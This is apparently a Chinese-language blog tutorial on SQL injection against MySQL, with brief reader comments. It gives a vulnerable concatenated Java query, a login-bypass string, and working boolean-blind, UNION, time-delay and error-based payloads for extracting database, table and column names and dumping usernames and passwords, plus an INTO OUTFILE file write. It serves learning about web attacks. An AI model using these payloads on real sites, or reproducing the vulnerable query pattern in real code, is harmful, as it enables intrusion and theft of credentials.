MENU

SQL注入

October 1, 2018 • Read: 488 • 渗透测试

什么是SQL注入?

当客户端提交的数据未做处理或转义,直接带入数据库就造成了SQL注入

布尔注入

利用返回真假的效果做到SQL注入,比方说有下面一串代码

String sql = null;
sql = "select * from user where username = " + "'" + un + "'" + "and password = " + "'" + pwd + "'";

其中,un和pwd都是String类型的变量,这是一个很明显的SQL注入漏洞,假设我令

String un = "admin' or 1 = 1 -- "
String pwd = 11//随便什么都可以

最终发送到数据库的语句就是

select * from user where username = 'admin' or 1 = 1 -- ' and password = '11'

这样的语句返回的结果就是数据库中的所有记录,因为对于所有记录,它都会判断username是否等于admin或者1是否等于1,只要有任意一条满足条件,就会被查出来,后面加了两个-,就将password查询给屏蔽(注释)了,使password约束不会产生影响。

获取数据库名长度
length(database()) > 1 #判断是否大于1,如果正确,就继续下去,直到错误
获取数据库名
ORD(mid(database(),1,1)) > 1
/*
这里涉及到两个函数
    ORD(String)将String转换成十进制值,然后可以通过百度查值得到该字符
    mid(String,a,b)将String从a开始向后截取b个字符
*/
获取表名的长度
(select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCEMA = database() limit 0,1) > 1
# 判断名为databse()数据库里第1个表的长度是否大于1,不停的判断,就能查到表的长度
# 这只是第一个表,要想获取第二个表,就将limit 0,1改为limit 1,1
获取表名
ORD(mid(TABLE_NAME,1,1)) > 1
获取表内字段个数
(select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='jsp') > 1
# user是表名,jsp是数据库名
获取字段的长度
(select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='jsp' limit 0,1) > 1
# 同理修改limit后面的参数即可获取第二个、第三个....字段的长度
获取字段的名字
select ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where table_name = 'user' and TABLE_SCHEMA = 'jsp' limit 0,1),1,1)) > 1
# 爆每个字段从第1位开始的十进制值
获取内容的长度
select (select length(username) from user limit 0,1) > 1
# 已经查出第一个字段的名字是username,查username的第一个内容长度
获取内容的值
select ORD(mid((select username from user limit 0,1),1,1)) > 1
# 同样的,一个一个试,把值爆出来

联合注入

联合注入共分三步,首先判断数据库中字段数,接着利用union进行联合查询,暴露可查询的字段编号,最后根据得到的字段编号,查询暴露的字段值

union可合并两个或多个select语句的结果集,
前提是两个select必有相同列、且各列的数据类型也相同
一、检测字段数

检测字段数用的sql语句是

order by 2//数字任意

根据页面返回的结果,来判断站点中的字段数目
比方说有一个网站http://127.0.0.1/onews.asp?id=45,在后面添加语句order by 3,页面显示正常,改为order by 4,页面报错,所以该站字段个数为3

二、暴露可查询的字段编号
select * from user where id = -1 union select 1,2,3

使union前面语句出错,从而执行后面的,看页面爆出什么数字
通过这个方法还可以查询数据库的其他信息,比方所爆出数据库的名字

select * from user where id = -1 union select 1,database(),3
附加:汇总常用函数
version() -- 获取mysql版本号

user() -- 返回当前用户名

select count(*) from mysql.user -- 返回用户数量

select count(*) from information_schema.schemata -- 返回数据库数量

database() -- 返回数据库名

select table_name from information_schema.tables where table_schema=’Database_Name’ limit 0,1 -- 获取第一个表名

select column_name from information_schema.columns where table_schema=’Database_Name’ and TABLE_NAME=’TABLE_NAME’ limit 0,1 -- 获取第一个字段名
三、暴露字段值

假设上面通过查询字段编号,得到2,3,说明用户名和密码就在2,3列,就可以开始爆用户名密码

select * from user union select 1,username,password from user
附加:拿shell

拿shell其实更直白的话叫导出数据库,配合联合注入使用,很简单一句话

select * from user union select 1,user(),3 into outfile 'D:/1.txt'

延时注入

延时注入通常用于对时间敏感的sql语句,通过执行时间的长短来判断是否执行成功

select * from user where 1 = 1 and sleep (if((select count(SCHEMA_NAME) from information_SCHEMA.SCHEMATA) = 1,0,2 ))

上面语句代码的含义是,如果整个mysql中数据库的个数等于1,则延时0秒,否则延时2秒进行查询

BUG注入

BUG注入实际上是利用数据库语句之间的冲突,弹出BUG,搜集BUG中对我们有用的信息。只要是count(),rand,group by三个连用就会造成报错

select concat((floor(rand(0))*2),'--------',(select database())) x from user group by x
#输出:0--------jsp,这样就爆出了数据库的名字,同理还可以利用BUG注入获取其他信息
最后编辑于: October 7, 2018
Archives Tip
QR Code for this page
Tipping QR Code
Leave a Comment

已有 3 条评论
  1. 快乐肥宅机 快乐肥宅机

    大牛准备往网安方向发展?

    1. mathor mathor

      @快乐肥宅机大牛算不上,只是感兴趣,想学习了解一下,发展....以后再说吧

  2. sssssss sssssss